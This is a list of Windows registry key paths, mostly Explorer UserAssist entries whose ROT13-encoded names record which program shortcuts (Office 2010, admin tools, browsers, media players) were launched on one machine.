HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Punenpgre Znc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\qsethv.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Qvfx Pyrnahc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Erfbhepr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Vasbezngvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Erfgber.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre Ercbegf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\FuncrPbyyrpgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\GnoGvc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\NpgvirFgngr NpgvirClguba 2.7 (32-ovg)\Clguba Vagrenpgvir Furyy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\NpgvirFgngr NpgvirClguba 2.7 (32-ovg)\Clguba Cnpxntr Znantre (ClCZ).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzcbarag Freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzchgre Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Qngn Fbheprf (BQOP).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Rirag Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\vFPFV Vavgvngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Zrzbel Qvntabfgvpf Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Zvpebfbsg .ARG Senzrjbex 1.1 Pbasvthengvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Zvpebfbsg .ARG Senzrjbex 1.1 Jvmneqf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cresbeznapr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cevag Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Frphevgl Pbasvthengvba Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Flfgrz Pbasvthengvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Jvaqbjf Sverjnyy jvgu Nqinaprq Frphevgl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\SvyrMvyyn SGC Pyvrag\SvyrMvyyn.yax
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ParseAutoexec
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\VesnaIvrj\VesnaIvrj - Guhzoanvyf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\VesnaIvrj\VesnaIvrj 64 4.52.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Perngr Erpbirel Qvfp.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Erzbgr Nffvfgnapr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Npprff 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Rkpry 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg VasbCngu Qrfvtare 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg VasbCngu Svyyre 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg BarAbgr 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bhgybbx 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg CbjreCbvag 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Choyvfure 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg FunerCbvag Jbexfcnpr 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Jbeq 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Qvtvgny Pregvsvpngr sbe ION Cebwrpgf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Pyvc Betnavmre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Ynathntr Cersreraprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Hcybnq Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr Cvpgher Znantre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Qngnonfr Pbzcner.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Bssvpr Ynathntr Cersreraprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Bssvpr Hcybnq Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Fxlcr sbe Ohfvarff Erpbeqvat Znantre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Fcernqfurrg Pbzcner.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Gryrzrgel Qnfuobneq sbe Bssvpr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Gryrzrgel Ybt sbe Bssvpr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Fvyireyvtug\Zvpebfbsg Fvyireyvtug.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\FunerCbvag\Zvpebfbsg FunerCbvag Jbexfcnpr 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fxlcr\Fxlcr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fynpx Grpuabybtvrf\Fynpx.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fcrppl\Fcrppl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\IvqrbYNA\IYP zrqvn cynlre - erfrg cersreraprf naq pnpur svyrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\IvqrbYNA\IYP zrqvn cynlre fxvaarq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\IvqrbYNA\IYP zrqvn cynlre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\JvaENE\JvaENE.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Ybhvfr\Qrfxgbc\Vagrearg Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Choyvp\Qrfxgbc\Nqbor Ernqre KV.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Choyvp\Qrfxgbc\Sversbk.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Choyvp\Qrfxgbc\Tbbtyr Puebzr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Choyvp\Qrfxgbc\Zbmvyyn Guhaqreoveq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Choyvp\Qrfxgbc\Fxlcr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Nqbor Ernqre KV.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Rkpry.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Tbbtyr Puebzr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Vagrearg Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Zvpebfbsg Rkpry 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Zvpebfbsg CbjreCbvag 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Zvpebfbsg Jbeq 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Zbmvyyn Sversbk.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\CbjreCbvag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Jvaqbjf Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Jbeq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\rkcybere.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Puebzr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\R7PS176R110P211O
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.VagreargRkcybere.Qrsnhyg
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\JVAJBEQ.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\RKPRY.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\CBJRECAG.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.JVAJBEQ.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.RKPRY.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.CBJRECAG.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Nqbor\Ernqre 11.0\Ernqre\NpebEq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.TrggvatFgnegrq
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnPragre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pnyp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.FgvpxlAbgrf
